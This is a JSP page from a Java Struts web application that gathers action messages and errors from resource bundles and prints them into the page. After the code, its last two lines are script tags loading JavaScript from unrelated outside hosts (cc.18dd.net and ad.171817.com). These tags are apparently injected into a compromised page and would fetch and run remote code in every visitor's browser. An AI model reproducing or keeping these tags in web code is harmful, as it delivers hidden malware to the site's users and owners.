<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="org.apache.struts.Globals"%>
<%@ page import="java.util.Iterator"%>
<%@ page import="java.util.Locale"%>
<%@ page import="javax.servlet.jsp.JspException"%>
<%@ page import="javax.servlet.jsp.tagext.TagSupport"%>
<%@ page import="org.apache.struts.action.*"%>
<%@ page import="org.apache.struts.taglib.html.Constants"%>
<%@ page import="org.apache.struts.util.MessageResources"%>
<%@ page import="org.apache.struts.util.RequestUtils"%>
<%@ page import="org.apache.struts.util.ResponseUtils"%>
<%
  String bundle = null;
  String locale = org.apache.struts.Globals.LOCALE_KEY;
  String name = org.apache.struts.Globals.MESSAGE_KEY;
  String property = null;
  ActionMessages messages = null;
  
    try {
      messages = RequestUtils.getActionMessages(pageContext, name);
    } catch (JspException e) {
      RequestUtils.saveException(pageContext, e);
      throw e;
    }
    if ((messages != null) && !messages.isEmpty()) {
      // Check for presence of header and footer message keys
      boolean headerPresent =
        RequestUtils.present(pageContext, bundle, locale, "common.message.prefix");
      boolean footerPresent =
        RequestUtils.present(pageContext, bundle, locale, "common.message.suffix");

      // Render the message messages appropriately
      StringBuffer results = new StringBuffer();
      boolean headerDone = false;
      String message = null;
      Iterator reports = null;
      if (property == null) {
        reports = messages.get();
      } else {
        reports = messages.get(property);
      }
      while (reports.hasNext()) {
        ActionMessage report = (ActionMessage) reports.next();
        if (report.getKey() != null && report.getKey().startsWith("customize")) {
          message = RequestUtils.message(pageContext, "customize",
                                         locale, report.getKey(),
                                         report.getValues());
        } else {
          message = RequestUtils.message(pageContext, bundle,
                                         locale, report.getKey(),
                                         report.getValues());
        }
        if (message != null) {
          results.append(message);
          results.append("\n");
        }
      }
      out.println(results.toString());
   }
   
   name = org.apache.struts.Globals.ERROR_KEY;
   ActionErrors errors = null;
    try {
      errors = RequestUtils.getActionErrors(pageContext, name);
    }
    catch(JspException e) {
      RequestUtils.saveException(pageContext, e);
      throw e;
    }
    if ((errors != null) && !errors.isEmpty()) {
      boolean headerPresent = RequestUtils.present(pageContext, bundle, locale, "errors.header");
      boolean footerPresent = RequestUtils.present(pageContext, bundle, locale, "errors.footer");
      boolean prefixPresent = RequestUtils.present(pageContext, bundle, locale, "errors.prefix");
      boolean suffixPresent = RequestUtils.present(pageContext, bundle, locale, "errors.suffix");
      StringBuffer results = new StringBuffer();
      boolean headerDone = false;
      String message = null;
      for(Iterator reports = property != null ? errors.get(property) : errors.get(); reports.hasNext();) {
        ActionError report = (ActionError)reports.next();
       
        if (report.getKey() != null && report.getKey().startsWith("customize")) {
          message = RequestUtils.message(pageContext, "customize", locale, report.getKey(), report.getValues());
        } else {
          message = RequestUtils.message(pageContext, bundle, locale, report.getKey(), report.getValues());
        }
        if(message != null) {
          results.append(message);
        }
        
      }
      out.println(results.toString());
    }
%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>